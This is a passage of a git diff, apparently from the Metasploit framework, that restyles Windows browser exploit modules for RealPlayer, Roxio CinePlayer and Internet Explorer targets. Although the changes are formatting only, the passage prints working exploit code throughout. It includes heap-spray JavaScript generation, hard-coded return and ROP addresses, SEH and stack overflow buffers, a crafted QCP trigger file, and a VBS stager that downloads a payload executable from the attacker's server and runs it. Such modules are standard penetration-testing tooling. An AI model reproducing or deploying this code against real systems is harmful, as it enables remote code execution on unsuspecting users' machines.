msvcr71.dll + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll + [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe', 'Ret' => 0x7C346B52 } ] # pop esp # ret # msvcr71.dll ], - 'Privileged' => false, - 'DisclosureDate' => '2012-05-23', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2012-05-23', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) - + ] + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' @@ -113,7 +116,7 @@ def get_target(agent) def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) randnop = rand_text_alpha(rand(100) + 1) @@ -180,7 +183,7 @@ def ie_heap_spray(my_target, p) end - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) @@ -200,14 +203,14 @@ def get_payload(t, cli) case t['Rop'] when :jre print_status("Using JRE ROP") - rop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot}) + rop_payload = generate_rop_payload('java', code) # , {'pivot'=>stack_pivot}) end return rop_payload end def load_exploit_html(my_target, cli) - p = get_payload(my_target, cli) + p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) bof = rand_text_alpha(512) # offset to eip" @@ -247,7 +250,7 @@ def load_exploit_html(my_target, cli) def on_request_uri(cli, request) agent = request.headers['User-Agent'] - uri = request.uri + uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) @@ -261,6 +264,6 @@ def on_request_uri(cli, request) html = load_exploit_html(my_target, cli) html = html.gsub(/^ {4}/, '') print_status("Sending HTML...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb index ce56fff6aa32f..0f0ee0361a341 100644 --- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb +++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb @@ -10,36 +10,41 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution', + 'Description' => %q{ This module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The "exec" - function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands - on the victim machine. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'rgod', #Initial discovery, poc - 'sinn3r', #msf - ], - 'References' => - [ + function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands + on the victim machine. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'rgod', # Initial discovery, poc + 'sinn3r', # msf + ], + 'References' => [ [ 'OSVDB', '71559' ], [ 'EDB', '17105' ] ], - 'Payload' => - { - 'Space' => 1024, + 'Payload' => { + 'Space' => 1024, 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows Universal', {} ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows Universal', {} ], ], - 'DisclosureDate' => '2011-04-03', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2011-04-03', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end # Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in @@ -47,11 +52,11 @@ def initialize(info = {}) # that only uses one echo. def build_vbs(url, payload_name, stager_name) name_xmlhttp = rand_text_alpha(2) - name_adodb = rand_text_alpha(2) + name_adodb = rand_text_alpha(2) tmp = "#{@temp_folder}/#{stager_name}" - vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") " + vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") " vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send" vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") " vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 " @@ -64,26 +69,27 @@ def build_vbs(url, payload_name, stager_name) def exploit @payload_name = rand_text_alpha(4) - @temp_folder = "C:/Windows/Temp" + @temp_folder = "C:/Windows/Temp" super end def on_request_uri(cli, request) if request.uri =~ /\.exe/ print_status("Sending payload EXE") - return if ((p=regenerate_payload(cli)) == nil) - data = generate_payload_exe( {:code=>p.encoded} ) - send_response(cli, data, {'Content-Type' => 'application/octet-stream'} ) + return if ((p = regenerate_payload(cli)) == nil) + + data = generate_payload_exe({ :code => p.encoded }) + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Payload's URL - payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe" # Create the stager (download + execute payload) stager_name = rand_text_alpha(6) + ".vbs" - stager = build_vbs(payload_src, @payload_name, stager_name) + stager = build_vbs(payload_src, @payload_name, stager_name) html_obj_name = rand_text_alpha(6) diff --git a/modules/exploits/windows/browser/realplayer_cdda_uri.rb b/modules/exploits/windows/browser/realplayer_cdda_uri.rb index 83d1e4987423e..916ffa12e57fe 100644 --- a/modules/exploits/windows/browser/realplayer_cdda_uri.rb +++ b/modules/exploits/windows/browser/realplayer_cdda_uri.rb @@ -9,46 +9,50 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability', + 'Description' => %q{ This module exploits an initialization flaw within RealPlayer 11/11.1 and - RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object - initialization failure. However, this failure is improperly handled and - uninitialized memory executed. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object + initialization failure. However, this failure is improperly handled and + uninitialized memory executed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'bannedit', 'sinn3r' ], - 'References' => - [ + 'References' => [ [ 'CVE', '2010-3747' ], [ 'OSVDB', '68673'], [ 'BID', '44144' ], [ 'ZDI', '10-210'], [ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1000, + 'Payload' => { + 'Space' => 1000, 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'RealPlayer SP 1.0 - 1.1.4 Universal', { 'Ret' => 0x21212121 } ], - [ 'RealPlayer 11.0 - 11.1 Universal', { 'Ret' => 0x21212121 } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'RealPlayer SP 1.0 - 1.1.4 Universal', { 'Ret' => 0x21212121 } ], + [ 'RealPlayer 11.0 - 11.1 Universal', { 'Ret' => 0x21212121 } ], ], - 'Privileged' => false, - 'DisclosureDate' => '2010-11-15', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2010-11-15', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) @@ -59,7 +63,7 @@ def on_request_uri(cli, request) # the ret slide gets executed via call [esi+45b] retslide = [mytarget.ret].pack('V') * 750 - cdda_uri = "cdda://" + retslide + cdda_uri = "cdda://" + retslide # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) @@ -67,38 +71,38 @@ def on_request_uri(cli, request) nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch)) # Randomize Javascript variables - var_blocks = rand_text_alpha(rand(6)+3) - var_shellcode = rand_text_alpha(rand(6)+3) - var_index = rand_text_alpha(rand(6)+3) - var_nopsled = rand_text_alpha(rand(6)+3) - spray_func = rand_text_alpha(rand(6)+3) - obj_id = rand_text_alpha(rand(6)+3) - randnop = rand_text_alpha(rand(100) + 1) - html = <<-EOS - - - - - - - - - - -EOS + var_blocks = rand_text_alpha(rand(6) + 3) + var_shellcode = rand_text_alpha(rand(6) + 3) + var_index = rand_text_alpha(rand(6) + 3) + var_nopsled = rand_text_alpha(rand(6) + 3) + spray_func = rand_text_alpha(rand(6) + 3) + obj_id = rand_text_alpha(rand(6) + 3) + randnop = rand_text_alpha(rand(100) + 1) + html = <<~EOS + + + + + + + + + + + EOS print_status("Sending #{self.name} HTML") send_response(cli, html, { 'Content-Type' => 'text/html' }) end diff --git a/modules/exploits/windows/browser/realplayer_console.rb b/modules/exploits/windows/browser/realplayer_console.rb index 435d19ba7679a..7ffd217d9cc4d 100644 --- a/modules/exploits/windows/browser/realplayer_console.rb +++ b/modules/exploits/windows/browser/realplayer_console.rb @@ -9,40 +9,45 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption', + 'Description' => %q{ This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control. - By sending a specially crafted string to the 'Console' property - in the rmoc3260.dll control, an attacker may be able to execute - arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Elazar Broad ' ], - 'References' => - [ + By sending a specially crafted string to the 'Console' property + in the rmoc3260.dll control, an attacker may be able to execute + arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Elazar Broad ' ], + 'References' => [ [ 'CVE', '2008-1309' ], [ 'OSVDB', '42946' ], [ 'BID', '28157' ], [ 'URL', 'http://web.archive.org/web/20080313103656/http://secunia.com:80/advisories/29315/' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ] ], - 'DisclosureDate' => '2008-03-08', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2008-03-08', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -61,24 +66,24 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers - nops = Rex::Text.to_unescape([target.ret].pack('V')) - ret = Rex::Text.uri_encode([target.ret].pack('L')) + nops = Rex::Text.to_unescape([target.ret].pack('V')) + ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 - fillto = 400 - offset = target['Offset'] + fillto = 400 + offset = target['Offset'] # Randomize the javascript variable names - racontrol = rand_text_alpha(rand(100) + 1) - j_shellcode = rand_text_alpha(rand(100) + 1) - j_nops = rand_text_alpha(rand(100) + 1) + racontrol = rand_text_alpha(rand(100) + 1) + j_shellcode = rand_text_alpha(rand(100) + 1) + j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) - j_fillblock = rand_text_alpha(rand(100) + 1) - j_block = rand_text_alpha(rand(100) + 1) - j_memory = rand_text_alpha(rand(100) + 1) - j_counter = rand_text_alpha(rand(30) + 2) - j_ret = rand_text_alpha(rand(100) + 1) - randnop = rand_text_alpha(rand(100) + 1) + j_fillblock = rand_text_alpha(rand(100) + 1) + j_block = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 2) + j_ret = rand_text_alpha(rand(100) + 1) + randnop = rand_text_alpha(rand(100) + 1) # Build out the message content = %Q| diff --git a/modules/exploits/windows/browser/realplayer_import.rb b/modules/exploits/windows/browser/realplayer_import.rb index ae1b7e8dc8ee3..d5c7f4fe2ed75 100644 --- a/modules/exploits/windows/browser/realplayer_import.rb +++ b/modules/exploits/windows/browser/realplayer_import.rb @@ -10,47 +10,52 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and - RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()" - method, an attacker may be able to execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()" + method, an attacker may be able to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-5601' ], [ 'OSVDB', '41430' ], [ 'BID', '26130' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 800, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419) - [ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934) + 'Platform' => 'win', + 'Targets' => [ + [ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], # rpmn3260.dll (6.0.9.1419) + [ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], # rpmn3260.dll (6.0.9.2934) ], - 'DisclosureDate' => '2007-10-18', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-10-18', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter - false + false end def check_dependencies - use_zlib + use_zlib end def on_request_uri(cli, request) @@ -63,7 +68,7 @@ def on_request_uri(cli, request) # Set the exploit buffer filler = rand_text_english(target['Offset']) - seh = generate_seh_payload(target.ret) + seh = generate_seh_payload(target.ret) sploit = filler + seh + rand_text_english(30724 - payload.encoded.length) # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")] diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index 1878a6bcd5228..07ba4a4e4b1f6 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -8,10 +8,12 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML - def initialize(info={}) - super(update_info(info, - 'Name' => "RealNetworks Realplayer QCP Parsing Heap Overflow", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "RealNetworks Realplayer QCP Parsing Heap Overflow", + 'Description' => %q{ This module exploits a heap overflow in Realplayer when handling a .QCP file. The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is allocated on the heap and user-supplied data from the file is copied within a @@ -21,14 +23,12 @@ def initialize(info={}) of the web browser via a .QCP file with a specially crafted "fmt" chunk. At this moment this module exploits the flaw on Windows XP IE6, IE7. }, - 'License' => MSF_LICENSE, - 'Author' => - [ + 'License' => MSF_LICENSE, + 'Author' => [ 'Sean de Regge', # Vulnerability discovery - 'juan vazquez' # Metasploit module + 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2011-2950'], ['OSVDB', '74549'], ['BID', '49172'], @@ -36,33 +36,38 @@ def initialize(info={}) ['ZDI', '11-265'], ['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'], ], - 'Payload' => - { + 'Payload' => { 'Space' => 1024 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ], [ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ], ], - 'DisclosureDate' => '2011-08-16', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2011-08-16', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ]) + ] + ) end def get_target(cli, request) - #Default target + # Default target my_target = target vprint_status("User-Agent: #{request.headers['User-Agent']}") @@ -70,17 +75,17 @@ def get_target(cli, request) if target.name == 'Automatic' agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ - #Windows XP + IE 6 + # Windows XP + IE 6 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ - #Windows XP + IE 7.0 + # Windows XP + IE 7.0 my_target = targets[2] elsif agent =~ /RMA/ - #RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)" - #when requesting our trigger file + # RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)" + # when requesting our trigger file return 'RMA' else - #If we don't recognize the client, we don't fire the exploit + # If we don't recognize the client, we don't fire the exploit my_target = nil end end @@ -89,15 +94,15 @@ def get_target(cli, request) end def exploit - #Set trigger file name + # Set trigger file name @filename = rand_text_alpha(rand(6) + 3) - #Create the trigger file + # Create the trigger file @trigger = build_trigger super end def on_request_uri(cli, request) - #Pick the right target + # Pick the right target vprint_status("Selecting target...") my_target = get_target(cli, request) if my_target.nil? @@ -108,7 +113,7 @@ def on_request_uri(cli, request) vprint_status("URL: #{request.uri.to_s}") - #Send the trigger file upon request + # Send the trigger file upon request if request.uri.match(/\.qcp$/) print_status("Sending trigger file") send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' }) @@ -121,7 +126,7 @@ def on_request_uri(cli, request) vprint_status("Building spray...") spray = build_spray(my_target, code) - #obfuscate on demand + # obfuscate on demand vprint_status("Obfuscating javascript...") if datastore['OBFUSCATE'] spray = Rex::Exploitation::JSObfu.new(spray) @@ -129,16 +134,15 @@ def on_request_uri(cli, request) end vprint_status("Building html...") - #Value for the 'Src' parameter of our ActiveX control + # Value for the 'Src' parameter of our ActiveX control trigger_file = "" - if ("/" == get_resource[-1,1]) + if ("/" == get_resource[-1, 1]) trigger_file = get_resource[0, get_resource.length - 1] else trigger_file = get_resource end trigger_file << "/#{@filename}.qcp" - html = <<-EOS @@ -158,24 +162,24 @@ def on_request_uri(cli, request) EOS print_status("Sending #{self.name}") - send_response( cli, html, {'Content-Type' => 'text/html'} ) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end def build_trigger() overflow_size = 700 overflow_string = "\x11" * 700 - #riff_mark + # riff_mark trigger = "\x52\x49\x46\x46" - #total_size + # total_size trigger << [0xed44 + overflow_size].pack("V") - #qlcm_tag + # qlcm_tag trigger << "\x51\x4c\x43\x4d" - #fmt_tag + # fmt_tag trigger << "\x66\x6d\x74\x20" - #fmt_size + # fmt_size trigger << [0x96 + overflow_size].pack("V") - #fmt_content + # fmt_content trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90" trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00" trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20" @@ -196,17 +200,17 @@ def build_trigger() trigger << "\x00\x00\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00" trigger << overflow_string - #vrat_tag + # vrat_tag trigger << "\x76\x72\x61\x74" - #vrat_size + # vrat_size trigger << [0x8].pack("V") - #vrat_content + # vrat_content trigger << "\x01\x00\x00\x00\x06\x13\x00\x00" - #data_tag + # data_tag trigger << "\x64\x61\x74\x61" - #data_size + # data_size trigger << [0xec8a].pack("V") - #data_content + # data_content trigger << rand_text_alpha(0xec8a) return trigger end diff --git a/modules/exploits/windows/browser/realplayer_smil.rb b/modules/exploits/windows/browser/realplayer_smil.rb index 174b6dd4c5bab..883ac67f1a41e 100644 --- a/modules/exploits/windows/browser/realplayer_smil.rb +++ b/modules/exploits/windows/browser/realplayer_smil.rb @@ -9,60 +9,65 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'RealNetworks RealPlayer SMIL Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'RealNetworks RealPlayer SMIL Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8. - By creating a URL link to a malicious SMIL file, a remote attacker could - overflow a buffer and execute arbitrary code. - When using this module, be sure to set the URIPATH with an extension of '.smil'. - This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8 - build 6.0.9.584. - }, - 'License' => MSF_LICENSE, - 'Author' => 'MC', - 'References' => - [ + By creating a URL link to a malicious SMIL file, a remote attacker could + overflow a buffer and execute arbitrary code. + When using this module, be sure to set the URIPATH with an extension of '.smil'. + This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8 + build 6.0.9.584. + }, + 'License' => MSF_LICENSE, + 'Author' => 'MC', + 'References' => [ [ 'CVE', '2005-0455' ], [ 'OSVDB', '14305'], [ 'BID', '12698' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 500, + 'Payload' => { + 'Space' => 500, 'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English', { 'Offset' => 608, 'Ret' => 0x75022ac4 } ], - [ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English', { 'Offset' => 584, 'Ret' => 0x71aa2461 } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English', { 'Offset' => 608, 'Ret' => 0x75022ac4 } ], + [ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English', { 'Offset' => 584, 'Ret' => 0x71aa2461 } ], ], - 'Privileged' => false, - 'DisclosureDate' => '2005-03-01', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2005-03-01', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) - cruft = rand_text_alpha_upper(1) - bleh = rand_text_alpha_upper(11) + cruft = rand_text_alpha_upper(1) + bleh = rand_text_alpha_upper(11) - sploit = rand_text_alpha_upper(target['Offset']) + payload.encoded + sploit = rand_text_alpha_upper(target['Offset']) + payload.encoded sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V') sploit << [0xe8, -485].pack('CV') # Build the HTML content - content = "" + content = "" content << "" print_status("Sending #{self.name}") diff --git a/modules/exploits/windows/browser/roxio_cineplayer.rb b/modules/exploits/windows/browser/roxio_cineplayer.rb index 6b656729cd8e5..75f74d1b4a67d 100644 --- a/modules/exploits/windows/browser/roxio_cineplayer.rb +++ b/modules/exploits/windows/browser/roxio_cineplayer.rb @@ -9,39 +9,44 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Roxio CinePlayer ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Roxio CinePlayer ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack-based buffer overflow in SonicPlayer ActiveX - control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2. - By setting an overly long value to 'DiskType', an attacker can overrun - a buffer and execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Trancer ' ], - 'References' => - [ + control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2. + By setting an overly long value to 'DiskType', an attacker can overrun + a buffer and execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Trancer ' ], + 'References' => [ [ 'CVE', '2007-1559' ], [ 'OSVDB', '34779' ], [ 'BID', '23412' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 200, 'Ret' => 0x0C0C0C0C } ] ], - 'DisclosureDate' => '2007-04-11', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-04-11', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -60,23 +65,23 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers - nops = Rex::Text.to_unescape([target.ret].pack('V')) - ret = Rex::Text.uri_encode([target.ret].pack('L')) + nops = Rex::Text.to_unescape([target.ret].pack('V')) + ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 - fillto = 500 - offset = target['Offset'] + fillto = 500 + offset = target['Offset'] # Randomize the javascript variable names - sonic = rand_text_alpha(rand(100) + 1) - j_shellcode = rand_text_alpha(rand(100) + 1) - j_nops = rand_text_alpha(rand(100) + 1) + sonic = rand_text_alpha(rand(100) + 1) + j_shellcode = rand_text_alpha(rand(100) + 1) + j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) - j_fillblock = rand_text_alpha(rand(100) + 1) - j_block = rand_text_alpha(rand(100) + 1) - j_memory = rand_text_alpha(rand(100) + 1) - j_counter = rand_text_alpha(rand(30) + 2) - j_ret = rand_text_alpha(rand(100) + 1) + j_fillblock = rand_text_alpha(rand(100) + 1) + j_block = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 